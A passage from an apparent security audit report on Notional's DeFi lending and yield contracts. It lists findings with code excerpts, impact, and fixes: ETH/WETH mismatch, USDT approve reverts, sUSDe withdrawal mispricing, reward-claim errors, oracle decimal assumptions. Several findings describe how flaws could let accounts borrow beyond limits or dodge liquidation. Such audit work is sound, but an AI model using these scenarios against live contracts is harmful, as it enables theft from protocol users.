Source: #538
h2134, seeques, talfao
The Yield Strategy using Origin ETH is not functioning as intended due to a design flaw. It utilizes Origin ETH with rebasing turned off. Since rebasing is required to receive ETH yield rewards, the strategy fails to generate yield. The Notional Protocol team confirmed that the protocol should ideally migrate to Wrapped OETH to enable proper yield accrual.
The issue lies in the design, specifically in Origin.sol:_stakeTokens{...}, where the Origin Vault is used to exchange WETH for OETH. However, the OETH used has rebasing disabled, which prevents it from generating yield. According to the Origin Protocol documentation:
By default, OUSD, OETH, OS and Super OETH held on smart contracts will not participate in the rebasing nature of the token and will forfeit any yield unless the smart contract explicitly opts in. ref
None
None
This is a design flaw and has been confirmed by the protocol team.
Core functionality is broken — the strategy fails to generate yield. This can result in a high risk of liquidation since the debt will increase while no yield offsets it (especially if used within Morpho).
Not required. The issue is confirmed in the OETH documentation and can also be verified in the OETH source code.
The simplest mitigation is to migrate to Wrapped OETH, which supports yield accrual.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/22
Issue M-10: Incorrect asset matching for ETH/WETH leads to potential DoS of exitPosition in CurveConvexStrategy
Source: #581
0xDeoGratias, Cybrid, HeckerTrieuTien, auditgpt, bretzel, touristS
When redeeming shares in CurveConvexStrategy, the _executeRedemptionTrades function is intended to skip swap logic for the primary token.
However, when the strategy's asset is WETH and one of the exit tokens is ETH_ADDRESS, the comparison (address(tokens[i]) == address(asset)) fails because ETH and WETH have different addresses. This leads to an unnecessary swap attempt using invalid trade parameters, potentially causing a denial of service (DoS).
In the CurveConvex strategy, when redeeming shares (via exitPosition or initiateWithdraw), LP tokens are first unstaked and exited from the pool using unstakeAndExitPool().
If one of the pool tokens is native ETH and the strategy’s ASSET is WETH, the strategy wraps ETH into WETH.
https://github.com/sherlock-audit/2025-06-notional-exponent-sylvarithos/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L205
function unstakeAndExitPool(
uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
) external returns (uint256[] memory exitBalances) {
_unstakeLpTokens(poolClaim);
exitBalances = _exitPool(poolClaim, _minAmounts, isSingleSided);
205 if (ASSET == address(WETH)) {
if (TOKEN_1 == ETH_ADDRESS) {
WETH.deposit{value: exitBalances[0]}();
} else if (TOKEN_2 == ETH_ADDRESS) {
WETH.deposit{value: exitBalances[1]}();
}
}
}When not singlesided trade, it executes trade to convert to primary token. https://github.com/sherlock-audit/2025-06-notional-exponent-sylvarithos/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L176
function _redeemShares(
uint256 sharesToRedeem,
address sharesOwner,
bool isEscrowed,
bytes memory redeemData
) internal override {
RedeemParams memory params = abi.decode(redeemData, (RedeemParams));
...
if (!isSingleSided) {
// If not a single sided trade, will execute trades back to the primary token on
// external exchanges. This method will execute EXACT_IN trades to ensure that
// all of the balance in the other tokens is sold for primary.
// Redemption trades are not automatically enabled on vaults since the trading module
// requires explicit permission for every token that can be sold by an address.
_executeRedemptionTrades(tokens, exitBalances, params.redemptionTrades);
}
}However, in _executeRedemptionTrades(), when iterating over the tokens array to check if a token matches asset (to skip trading), it uses a strict equality check:
https://github.com/sherlock-audit/2025-06-notional-exponent-sylvarithos/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L229
function _executeRedemptionTrades(
ERC20[] memory tokens,
uint256[] memory exitBalances,
TradeParams[] memory redemptionTrades
) internal returns (uint256 finalPrimaryBalance) {
for (uint256 i; i < exitBalances.length; i++) {
229 if (address(tokens[i]) == address(asset)) {
finalPrimaryBalance += exitBalances[i];
continue;
}
TradeParams memory t = redemptionTrades[i];
// Always sell the entire exit balance to the primary token
if (exitBalances[i] > 0) {
Trade memory trade = Trade({
tradeType: t.tradeType,
sellToken: address(tokens[i]),
buyToken: address(asset),
amount: exitBalances[i],
limit: t.minPurchaseAmount,
deadline: block.timestamp,
exchangeData: t.exchangeData
});
(/* */, uint256 amountBought) = _executeTrade(trade, t.dexId);
finalPrimaryBalance += amountBought;
}
}
}This fails when tokens[i] is ETH (i.e., ETH_ADDRESS) and asset is WETH, even though ETH was already converted into WETH during the exit step.
This leads to an unnecessary swap attempt using invalid trade parameters, potentially causing a denial of service (DoS).
- The strategy asset is set to WETH.
- The LP token pool contains ETH as one of its underlying tokens.
A revert in _executeTrade() halts redemptions, locking user funds in the vault. This can block all users from exiting if their share includes ETH from the pool.
Should compare with primary_index.
function _executeRedemptionTrades(
ERC20[] memory tokens,
uint256[] memory exitBalances,
TradeParams[] memory redemptionTrades
) internal returns (uint256 finalPrimaryBalance) {
for (uint256 i; i < exitBalances.length; i++) {
- if (address(tokens[i]) == address(asset)) {
+ if (address(tokens[i]) == PRIMARY_INDEX()) {
finalPrimaryBalance += exitBalances[i];
continue;
}
...
}Source: #595
This issue has been acknowledged by the team but won't be fixed at this time.
Bluedragon, Riceee, bretzel, touristS, xiaoming90
According to the contest sponsors the AbstractRewardManager acts as the core logic contract for both Booster and Gauge Reward Managers. But claiming rewards for gauge branch is not implemented.
The issue here lies when the CONVEX_BOOSTER is not initialised. When a user enters a position via Notional, their assets are deposited to a curve pool and the vault receives LP tokens which are further staked for rewards in the Curve Gauge.
When we take a look at the _stakeLpTokens used to stake the LP tokens, we see they are directly staked to Curve Gauge if Booster is not initialised. But the issue is claiming rewards is only implemented for the Convex Strategy and not for this scenario when LP tokens are staked to Gauge Strategy.
Lets look at the flow of reward claim -->
- User calls
claimRewardson the router RewardManagerMixin::claimAccountRewardsis calledRewardManagerMixing::_updateAccountRewardsis invoked- Delegate call to
updateAccountRewardsonAbstractRewardManager - This internally calls the
_claimVaultRewards
Given that the AbstractRewardManager is the underlying core contract logic for reward claim. Here we notice that the _claimVaultRewards function has a check if (rewardPool.rewardPool == address(0)) return;
This causes the control flow to return the claim execution process when the rewardPool is not set, which is the case when tokens are staked to Gauge. Resulting in users not able to claim their reward shares from the Curve Gauge.
The protocol users cannot claim any rewards if the strategy uses Gauge instead of Booster.
When rewardPool == address(0), i.e., the strategy uses Gauge, instead of shortcircuiting, implement logic to claim rewards from the Gauge contract.
Source: #623
jasonxiale
Quoting from the comment
ptRate is always returned in 1e18 decimals
The PendlePTOracle._getPTRate function assumes ptRate is always in 1e18 decimals, which isn't correct for some market.
In function PendlePTOracle._getPTRate, two AIP will be called: PENDLE_ORACLE.getPtToSyRate and PENDLE_ORACLE.getPtToAssetRate.
60 /// @dev ptRate is always returned in 1e18 decimals
61 function _getPTRate() internal view returns (int256) {
62 uint256 ptRate = useSyOracleRate ?
63 PENDLE_ORACLE.getPtToSyRate(pendleMarket, twapDuration) :
64 PENDLE_ORACLE.getPtToAssetRate(pendleMarket, twapDuration);
65 return ptRate.toInt();
66 }- function
PENDLE_ORACLE.getPtToAssetRatewill always return ptRate in 1e18 decimals - function
PENDLE_ORACLE.getPtToSyRatewill return ptRate in larger decimals for some markets.
For example: market 0x83916356556f51dcBcB226202c3efeEfc88d5eaA, 0x9471d9c5B57b59d42B739b00389a6d520c33A7a9, 0x08946D1070bab757931d39285C12FEf4313b667B, 0x1C3bA40210fa290de13c62Fe1a9EfcB694725D10, 0x0271A803f0d3Dec9cCd105A4A4d41e6Ee1458765, 0xEDda7526EC81055F2af99d51D968FC2FBca9Ee96, 0xE4AF6375F4424b61B91A1E96b9dE6ff8E842AA3A
Becase PENDLE_ORACLE is defined as 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8, we can query those market direct from the cast.
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x83916356556f51dcBcB226202c3efeEfc88d5eaA 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x9471d9c5B57b59d42B739b00389a6d520c33A7a9 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x08946D1070bab757931d39285C12FEf4313b667B 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x1C3bA40210fa290de13c62Fe1a9EfcB694725D10 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x0271A803f0d3Dec9cCd105A4A4d41e6Ee1458765 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0xEDda7526EC81055F2af99d51D968FC2FBca9Ee96 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0xE4AF6375F4424b61B91A1E96b9dE6ff8E842AA3A 3600;None
None
For example: market 0x83916356556f51dcBcB226202c3efeEfc88d5eaA, 0x9471d9c5B57b59d42B739b00389a6d520c33A7a9, 0x08946D1070bab757931d39285C12FEf4313b667B, 0x1C3bA40210fa290de13c62Fe1a9EfcB694725D10, 0x0271A803f0d3Dec9cCd105A4A4d41e6Ee1458765, 0xEDda7526EC81055F2af99d51D968FC2FBca9Ee96, 0xE4AF6375F4424b61B91A1E96b9dE6ff8E842AA3A
Becase PENDLE_ORACLE is defined as 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8, we can query those market direct from the cast.
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x83916356556f51dcBcB226202c3efeEfc88d5eaA 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x9471d9c5B57b59d42B739b00389a6d520c33A7a9 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x08946D1070bab757931d39285C12FEf4313b667B 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x1C3bA40210fa290de13c62Fe1a9EfcB694725D10 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0x0271A803f0d3Dec9cCd105A4A4d41e6Ee1458765 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0xEDda7526EC81055F2af99d51D968FC2FBca9Ee96 3600;
cast call -r https://eth-mainnet.public.blastapi.io 0x66a1096C6366b2529274dF4f5D8247827fe4CEA8 "getPtToSyRate(address,uint32)(uint256)" 0xE4AF6375F4424b61B91A1E96b9dE6ff8E842AA3A 3600;Incorrect ptRate will cause the incrrect price returned by the oracle.
No response
No response
Source: #652
Atharv, Bigsam, KungFuPanda, Ledger_Patrol, Pro_King, X0sauce, bretzel, bube, h2134, harry, mgf15, sebar1018, theweb3mechanic, yoooo
The ERC-20 standard specifies that approve function should return a bool indicating success. However, some widely-used tokens such as USDT omit the return value. When interacting with such tokens using high-level Solidity calls (ERC20(token).approve), the EVM expects a return value. If none is returned, decoding fails and the transaction reverts.
The AbstractLendingRouter::_enterOrMigrate function, MorphoLendingRouter::_supplyCollateral function, AbstractStakingStrategy::_mintYieldToken and GenericERC4626::_stakeTokens use the ERC20::approve function to approve a given amount of asset/token:
function _enterOrMigrate(
address onBehalf,
address vault,
address asset,
uint256 assetAmount,
bytes memory depositData,
address migrateFrom
) internal returns (uint256 sharesReceived) {
if (migrateFrom != address(0)) {
// Allow the previous lending router to repay the debt from assets held here.
ERC20(asset).checkApprove(migrateFrom, assetAmount);
sharesReceived = ILendingRouter(migrateFrom).balanceOfCollateral(onBehalf, vault);
// Must migrate the entire position
ILendingRouter(migrateFrom).exitPosition(
onBehalf, vault, address(this), sharesReceived, type(uint256).max, bytes("")
);
} else {
@> ERC20(asset).approve(vault, assetAmount);
sharesReceived = IYieldStrategy(vault).mintShares(assetAmount, onBehalf, depositData);
}
_supplyCollateral(onBehalf, vault, asset, sharesReceived);
}
function _supplyCollateral(
address onBehalf,
address vault,
address asset,
uint256 sharesReceived
) internal override {
MarketParams memory m = marketParams(vault, asset);
// Allows the transfer from the lending market to the Morpho contract
IYieldStrategy(vault).allowTransfer(address(MORPHO), sharesReceived, onBehalf);
// We should receive shares in return
@> ERC20(vault).approve(address(MORPHO), sharesReceived);
MORPHO.supplyCollateral(m, sharesReceived, onBehalf, "");
}
function _mintYieldTokens(uint256 assets, address /* receiver */, bytes memory depositData) internal override virtual {
@> ERC20(asset).approve(address(withdrawRequestManager), assets);
withdrawRequestManager.stakeTokens(address(asset), assets, depositData);
}
function _stakeTokens(uint256 amount, bytes memory /* stakeData */) internal override {
@> ERC20(STAKING_TOKEN).approve(address(YIELD_TOKEN), amount);
IERC4626(YIELD_TOKEN).deposit(amount, address(this));
}
According to the README the contract will be deployed on Ethereum Mainnet chain and will use USDT tokens.
The problem is that the ERC20 interface expects the approve function to return a boolean value, but USDT token on Ethereum dosn't have a return value. This means the approve operation of the tokens will always revert.
Also these functions don't set first the allowance to 0. In normal circumstances, the previous allowance should be used and the current allowance should be 0, but if the current allowance is not 0, the approve function will revert again. The approve function of the USDT token expects the allowance to be 0 before setting the new one.
Users are unable to use properly important functions of the protocol like entering or migrating a vault, minting yield tokens or staking tokens with USDT token on Ethereum mainnet chain, these functions will always revert due to the use of ERC20::approve function. USDT is one of the tokens that the protocol will use, therefore the failure to handle its non-boolean approve return is a critical issue due to breaking core functionality for a supported token.
The following test shows that the approve function will revert for USDT token on Ethereum Mainnet chain:
function testApproveMainnet() public{
address user = address(0x123);
ethFork = vm.createFork(ETH_RPC_URL);
vm.selectFork(ethFork);
assetUsdtETH = IERC20(usdtETH);
deal(address(assetUsdtETH), user, 100*10**6, true);
vm.startPrank(user);
vm.expectRevert();
assetUsdtETH.approve(address(0x444), 10*10**6);
}
Use OpenZeppelin's SafeERC20::forceApprove function instead of IERC20::approve function.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/11
Source: #665
xiaoming90
In Notional, when pricing a withdrawal request that has not been finalized yet, it will always price it against the number of yield tokens within the withdrawal request. This is the correct approach most of the time. For instance, it is correct to price the withdrawal request with wstETH using the wstETH price, because any slashing that occurs during the 7-day waiting period will affect the amount of ETH received at the end. This also applies to other Liquid Staking Tokens (LST) such as EtherFi's weETH.
If a major slashing event occurs, the market price of the LST will decrease accordingly and be reflected in the price provided by the oracle providers (e.g., Chainlink). This is because the market will take into consideration the adverse event that has occurred. This is how the normal market functions.
That being said, there are instances where it is incorrect to price the withdrawal request using the yield token's price. This generally applies to staking tokens that do not involve slashing, and the amount of tokens received at the end of the wait period is already predetermined when initiating the withdrawal and will not change regardless of subsequent events that may occur. Tokens that fit this category are often stable assets such as USDe.
When the WithdrawRequestManager (WRM) calls sUSDe.cooldownShares(cooldownBalance), the sUSDe shares will be converted to USDe assets in Line 112 below. The cooldownBalance number of sUSDe shares will be burned, and the corresponding USDe will be sent to SILO for holding/escrowing in Line 117 within the _withdraw() function.
Note that converted USDe assets are sent to SILO for holding/escrowing and the number of USDe assets will not change regardless of any circumstances. The number of converted USDe assets is recorded with the cooldowns[msg.sender].underlyingAmount mapping in Line 115 below.
https://etherscan.io/address/0x9d39a5de30e57443bff2a8307a4256c8797a3497#code#F1#L115
File: StakedUSDeV2.sol
107: /// @notice redeem shares into assets and starts a cooldown to claim the converted underlying asset
108: /// @param shares shares to redeem
109: function cooldownShares(uint256 shares) external ensureCooldownOn returns (uint256 assets) {
110: if (shares > maxRedeem(msg.sender)) revert ExcessiveRedeemAmount();
111:
112: assets = previewRedeem(shares);
113:
114: cooldowns[msg.sender].cooldownEnd = uint104(block.timestamp) + cooldownDuration;
115: cooldowns[msg.sender].underlyingAmount += uint152(assets);
116:
117: _withdraw(msg.sender, address(silo), msg.sender, assets, shares);
118: }To prove this point, the number of USDe assets returned to the user is always equal to the userCooldown.underlyingAmount as shown in the unstake() function below.
https://etherscan.io/address/0x9d39a5de30e57443bff2a8307a4256c8797a3497#code#F1#L80
File: StakedUSDeV2.sol
77: /// @notice Claim the staking amount after the cooldown has finished. The address can only retire the full amount of assets.
78: /// @dev unstake can be called after cooldown have been set to 0, to let accounts to be able to claim remaining assets locked at Silo
79: /// @param receiver Address to send the assets by the staker
80: function unstake(address receiver) external {
81: UserCooldown storage userCooldown = cooldowns[msg.sender];
82: uint256 assets = userCooldown.underlyingAmount;
83:
84: if (block.timestamp >= userCooldown.cooldownEnd || cooldownDuration == 0) {
85: userCooldown.cooldownEnd = 0;
86: userCooldown.underlyingAmount = 0;
87:
88: silo.withdraw(receiver, assets);
89: } else {
90: revert InvalidCooldown();
91: }
92: }This point is also further supported by the codebase's comment below.
File: Ethena.sol
091: function canFinalizeWithdrawRequest(uint256 requestId) public view override returns (bool) {
092: uint24 duration = sUSDe.cooldownDuration();
093: address holder = address(uint160(requestId));
094: // This valuation is the amount of USDe the account will receive at cooldown, once
095: // a cooldown is initiated the account is no longer receiving sUSDe yield. This balance
096: // of USDe is transferred to a Silo contract and guaranteed to be available once the
097: // cooldown has passed.
098: IsUSDe.UserCooldown memory userCooldown = sUSDe.cooldowns(holder);
099: return (userCooldown.cooldownEnd < block.timestamp || 0 == duration);
100: }However, in the protocol, whenever a Withdraw Request (WR) has not been finalized, it will always be priced in yield token (in this case, it is sUSDe), which is incorrect in this instance for Etherna's USDe/sUSDe. This is shown in Line 330 below.
File: AbstractWithdrawRequestManager.sol
307: function getWithdrawRequestValue(
308: address vault,
309: address account,
310: address asset,
311: uint256 shares
312: ) external view override returns (bool hasRequest, uint256 valueInAsset) {
313: WithdrawRequest memory w = s_accountWithdrawRequest[vault][account];
314: if (w.requestId == 0) return (false, 0);
315:
316: TokenizedWithdrawRequest memory s = s_tokenizedWithdrawRequest[w.requestId];
317:
318: int256 tokenRate;
319: uint256 tokenAmount;
320: uint256 tokenDecimals;
321: uint256 assetDecimals = TokenUtils.getDecimals(asset);
322: if (s.finalized) {
323: // If finalized the withdraw request is locked to the tokens withdrawn
324: (tokenRate, /* */) = TRADING_MODULE.getOraclePrice(WITHDRAW_TOKEN, asset);
325: tokenDecimals = TokenUtils.getDecimals(WITHDRAW_TOKEN);
326: tokenAmount = (uint256(w.yieldTokenAmount) * uint256(s.totalWithdraw)) / uint256(s.totalYieldTokenAmount);
327: } else {
328: // Otherwise we use the yield token rate
329: (tokenRate, /* */) = TRADING_MODULE.getOraclePrice(YIELD_TOKEN, asset);
330: tokenDecimals = TokenUtils.getDecimals(YIELD_TOKEN);
331: tokenAmount = w.yieldTokenAmount;
332: }As shown in the logic of cooldownShares function above, sUSDe no longer exists and has already been converted to a fixed number of USDe. Thus, the correct approach is to price the WR in the fixed amount of USDe instead of sUSDe
If the getWithdrawRequestValue is priced in sUSDe, the value it returns will either be inflated because the value of sUSDe rises over time or undervalued if sUSDe depeg.
For instance, the price of USDe is 1 USD, and one sUSDe is worth 1.18 USDe. Thus, the price of sUSDe is 1.18 USD. During the initiate withdrawal, assume that 100 sUSDe of yield tokens will be burned. As such, the WR's yieldTokenAmount will be set to 100 sUSDe. When StakedUSDeV2.cooldownShares() function is executed, Etherna will burn 100 sUSDe and escrowed a fixed 118 USDe to be released to the WRM once the cooldown period is over.
Assume that the price of sUSDe increases from 1.18 USD to 1.50 USD some time later. In this case, the protocol will still continue to price the WR in yield token (sUSDe) and determine that the value of WR is worth 150 USD, even though it is only worth 118 USD because only a maximum of 118 USDe can be withdrawn from Etherna. The sUSDe/USD Chainlink price feed shows that the price of sUSDe increases continuously over time.
If the value of WR is 118 USD, the account is already underwater and is subject to liquidation. However, due to the bugs, the protocol incorrectly priced the WR as 150 USD, and believes the account is healthy, preventing the liquidator from liquidating the unhealthy account. Additionally, if the value of WR is inflated, users can borrow more than they are permitted to.
High. Inflating the value of WR causes liquidation not to happen when it should OR lead to users borrowing more than they are permitted to, leading to bad debt accumulating and protocol insolvency, which are serious problems. On the other hand, undervaluation of WR leads to the premature liquidation of the user's position, resulting in a loss for the user.
No response
No response
Source: #669
0xDeoGratias, Bigsam, crunter, touristS, xiaoming90, yaractf
In Line 191 below, if the cooldown has not over yet, the protocol will skip the claiming of rewards from external protocols.
File: AbstractRewardManager.sol
183: /// @notice Executes a claim against the given reward pool type and updates internal
184: /// rewarder accumulators.
185: function _claimVaultRewards(
186: uint256 effectiveSupplyBefore,
187: VaultRewardState[] memory state
188: ) internal {
189: RewardPoolStorage memory rewardPool = _getRewardPoolSlot(); // @audit-ok
190: if (rewardPool.rewardPool == address(0)) return;
191: if (block.timestamp < rewardPool.lastClaimTimestamp + rewardPool.forceClaimAfter) return;Concerning tracking of rewards, the invariant is that whenever there is a change in effectiveSupplyBefore (aka total supply), the protocol must claim the rewards and update the reward accumulation state variable based on the current effectiveSupplyBefore before updating the new effectiveSupply value. However, this is not always true because the protocol will sometimes skip claiming rewards.
File: AbstractYieldStrategy.sol
149: function effectiveSupply() public view returns (uint256) {
150: return (totalSupply() - s_escrowedShares + VIRTUAL_SHARES); // @audit-info VIRTUAL_SHARES = 1e6
151: }Assume the following states at Time T0.
rewardPool.forceClaimAfteris set to 15 minutes.- The current balance of yield tokens residing in the Yield Strategy vault, the vault is earning 1 WETH per minutes.
- The current
effectiveSupply()is 10. Bob holds 5 shares, while Alice holds 5 shares. accumulatedRewardPerVaultShare= 0.
At T5 (5 minutes later since T0), 5 WETH is earned, and accumulatedRewardPerVaultShare will increase by 0.5 (5 WETH rewards divided by 10 vault shares), per Line 267 below. This basically means that each share is entitled to 0.5 WETH.
The accumulatedRewardPerVaultShare will be 0.5 now and rewardPool.lastClaimTimestamp will be set to T5.
File: AbstractRewardManager.sol
259: function _accumulateSecondaryRewardViaClaim(
260: uint256 index,
261: VaultRewardState memory state,
262: uint256 tokensClaimed,
263: uint256 effectiveSupplyBefore
264: ) private {
265: if (tokensClaimed == 0) return;
266:
267: state.accumulatedRewardPerVaultShare += (
268: (tokensClaimed * DEFAULT_PRECISION) / effectiveSupplyBefore
269: ).toUint128();
270:
271: _getVaultRewardStateSlot()[index] = state;
272: }At T10 (10 minutes later), Bob decided to call initiateWithdraw to initiate a withdrawal, the s_escrowedShares will increase by 9. Before s_escrowedShares is increased by 5, the following updateAccountRewards function at Line 131 will be executed to ensure that Bob claims or retrieves all the reward tokens he is entitled to before initiating the withdrawal. This is critical because, after initiating the withdrawal, Bob can no longer claim the rewards, as per the protocol's design.
File: RewardManagerMixin.sol
120: /// @dev Ensures that the account no longer accrues rewards after a withdraw request is initiated.
121: function _initiateWithdraw(
122: address account,
123: uint256 yieldTokenAmount,
124: uint256 sharesHeld,
125: bytes memory data
126: ) internal override returns (uint256 requestId) {
127: uint256 effectiveSupplyBefore = effectiveSupply();
128:
129: // Claim all rewards before initiating a withdraw shares not considered
130: // in the escrow state at this point.
131: _updateAccountRewards({
132: account: account,
133: accountSharesBefore: sharesHeld,
134: accountSharesAfter: sharesHeld,
135: effectiveSupplyBefore: effectiveSupplyBefore,
136: sharesInEscrow: false
137: });
138:
139: requestId = __initiateWithdraw(account, yieldTokenAmount, sharesHeld, data);
140: }The updateAccountRewards function will internally execute the _claimVaultRewards function in Line 159 below. Since, it is still in cooldown, the claiming of rewards from external protocols will be skipped. Even though a total reward of 5 WETH has accumulated since T5 that is awaiting to be claimed at the external protocol, it is not claimed due to the cooldown. To recap, note that from T0 to T10, 10 minutes have already been passed and a total of 10 WETH is earned. 5 WETH has been claimed and the other 5 WETH has not been claimed.
Subsequently, at Line 173, the _claimRewardToken will be executed to claim the rewards for Bob. In this case, based on the current accumulatedRewardPerVaultShare (0.5), Bob will receive 2.5 WETH. Here, we can already see a valid issue that although a total of 10 WETH is earned, Bob only received 2.5 WETH instead of 5 WETH. This means that Alice will be able to obtain a rewards of 7.5 WETH later once the cooldown is over.
File: AbstractRewardManager.sol
148: function updateAccountRewards(
149: address account,
150: uint256 effectiveSupplyBefore,
151: uint256 accountSharesBefore,
152: uint256 accountSharesAfter,
153: bool sharesInEscrow
154: ) external returns (uint256[] memory rewards) {
155: // Short circuit in this case, no rewards to claim
156: if (sharesInEscrow && accountSharesAfter > 0) return rewards;
157:
158: VaultRewardState[] memory state = _getVaultRewardStateSlot();
159: _claimVaultRewards(effectiveSupplyBefore, state);
160: rewards = new uint256[](state.length);
161:
162: for (uint256 i; i < state.length; i++) {
163: if (sharesInEscrow && accountSharesAfter == 0) {
164: delete _getAccountRewardDebtSlot()[state[i].rewardToken][account];
165: continue;
166: }
167:
168: if (0 < state[i].emissionRatePerYear) {
169: // Accumulate any rewards with an emission rate here
170: _accumulateSecondaryRewardViaEmissionRate(i, state[i], effectiveSupplyBefore);
171: }
172:
173: rewards[i] = _claimRewardToken(
174: state[i].rewardToken,
175: account,
176: accountSharesBefore,
177: accountSharesAfter,
178: state[i].accumulatedRewardPerVaultShare
179: );
180: }
181: }The root cause here is that, during initiating withdrawal, the cooldown should not be applicable and the claiming of reward tokens from external protocol must always occur. This is ensure that the accumulatedRewardPerVaultShare is updated to the latest state before Bob claims his reward for the last time.
High, loss of funds (reward tokens) for the affected victim as shown above.
No response
During initiating withdrawal, the cooldown should not be applicable and the claiming of reward tokens from the external protocol must always occur. This ensures that the accumulatedRewardPerVaultShare is updated to the latest state before Bob claims his reward for the last time.
Issue M-16: Users will be unfairly liquidated if collateral value drops after initiating withdraw request
Source: #673
xiaoming90
One of the most critical features of the new Notional exponent is that it allows users to initiateWithdraw of their shares while they are being held as collateral on lending protocols.
An important note here is that after a user has initiated a withdrawal, this doesn't mean that the user has exited their positions. In fact, the user have not exited their positions yet, and initiating a withdrawal simply allows the underlying staking tokens assigned to the external protocol's redemption queue in advance so that users can skip the redemption waiting period if they intend to withdraw later (It's up to the users whether they want to exit the position or not).
After a user initiates a withdrawal, a withdrawal request will be created and tagged to their account. If there is a pending withdrawal request, the users can no longer mint any new Yield Strategy vault shares, as shown in Line 197 below.
File: AbstractYieldStrategy.sol
191: function mintShares(
192: uint256 assetAmount,
193: address receiver,
194: bytes calldata depositData
195: ) external override onlyLendingRouter setCurrentAccount(receiver) nonReentrant returns (uint256 sharesMinted) {
196: // Cannot mint shares if the receiver has an active withdraw request
197: if (_isWithdrawRequestPending(receiver)) revert CannotEnterPosition();Assume that Bob initiates a withdrawal request. It takes 7 days for the withdrawal in the external protocol to be finalized, which is a pretty standard timeframe (e.g., LIDO's wstETH, Ethena's sUSDe).
However, if the price of Bob's position collateral decreases within these 7 days (e.g., Bob's collateral price drops) and his account is on the verge of being liquidated (not yet, but soon), there is no way for Bob to top-up his "margin" or collateral to save his position because he is blocked from doing so due to an existing withdrawal request in his account. As such, he can only watch his position being liquidated by someone else. When his position is liquidated, he will incur a loss as part of his total position's fund is given to the liquidator.
This is a common scenario in which the price of yield tokens gradually decreases over time due to certain unfavorable market conditions. In this case, it is normal that users will want to top up the "margin" of their positions to avoid being liquidated. The "margin" here refers to the collateral value of the position in the context of Morpho's position, but the idea/concept is the same as that of a typical leveraged trading platform.
Note that this is not the intended design of the protocol, as all leveraged products allow their users to top up their margin if it falls close to the liquidation margin or falls below the liquidation margin, so that users can avoid being liquidated. Users will always want to avoid liquidation due to the loss incurred from the liquidation fee or incentive given to the liquidators, and they can only recover a portion of their assets after liquidation.
High. Loss of funds as shown in the scenario above. A portion of his position's funds is lost to the liquidator.
No response
No response
Source: #674
Bigsam, Ledger_Patrol, Ragnarok, Riceee, X0sauce, aman, coffiasd, dan__vinci, dhank, h2134, hard1k, shiazinho, theweb3mechanic, xiaoming90
During migration, the assetToRepay parameter of the _exitWithRepay function is always set to type(uint256).max, as shown in Line 237 below.
File: AbstractLendingRouter.sol
221: /// @dev Enters a position or migrates shares from a previous lending router
222: function _enterOrMigrate(
223: address onBehalf,
224: address vault,
225: address asset,
226: uint256 assetAmount,
227: bytes memory depositData,
228: address migrateFrom
229: ) internal returns (uint256 sharesReceived) {
230: if (migrateFrom != address(0)) {
231: // Allow the previous lending router to repay the debt from assets held here.
232: ERC20(asset).checkApprove(migrateFrom, assetAmount);
233: sharesReceived = ILendingRouter(migrateFrom).balanceOfCollateral(onBehalf, vault);
234:
235: // Must migrate the entire position
236: ILendingRouter(migrateFrom).exitPosition(
237: onBehalf, vault, address(this), sharesReceived, type(uint256).max, bytes("")
238: );
239: } else {Assume that Bob has supplied collateral, but no debt, and he wants to migrate from the previous lending router to a new lending router.
Since assetToRepay is set to type(uint256).max, the assetToRepay will be overwritten to zero (0) in Line 193 below. In addition, since Bob does not have any debt, which means that he has no borrow shares, the MORPHO.position(morphoId(m), onBehalf).borrowShares at Line 192 below will return zero (0). In this case, sharesToRepay will be zero (0)
File: MorphoLendingRouter.sol
177: function _exitWithRepay(
178: address onBehalf,
179: address vault,
180: address asset,
181: address receiver,
182: uint256 sharesToRedeem,
183: uint256 assetToRepay,
184: bytes calldata redeemData
185: ) internal override {
186: MarketParams memory m = marketParams(vault, asset);
187:
188: uint256 sharesToRepay;
189: if (assetToRepay == type(uint256).max) {
190: // If assetToRepay is uint256.max then get the morpho borrow shares amount to
191: // get a full exit.
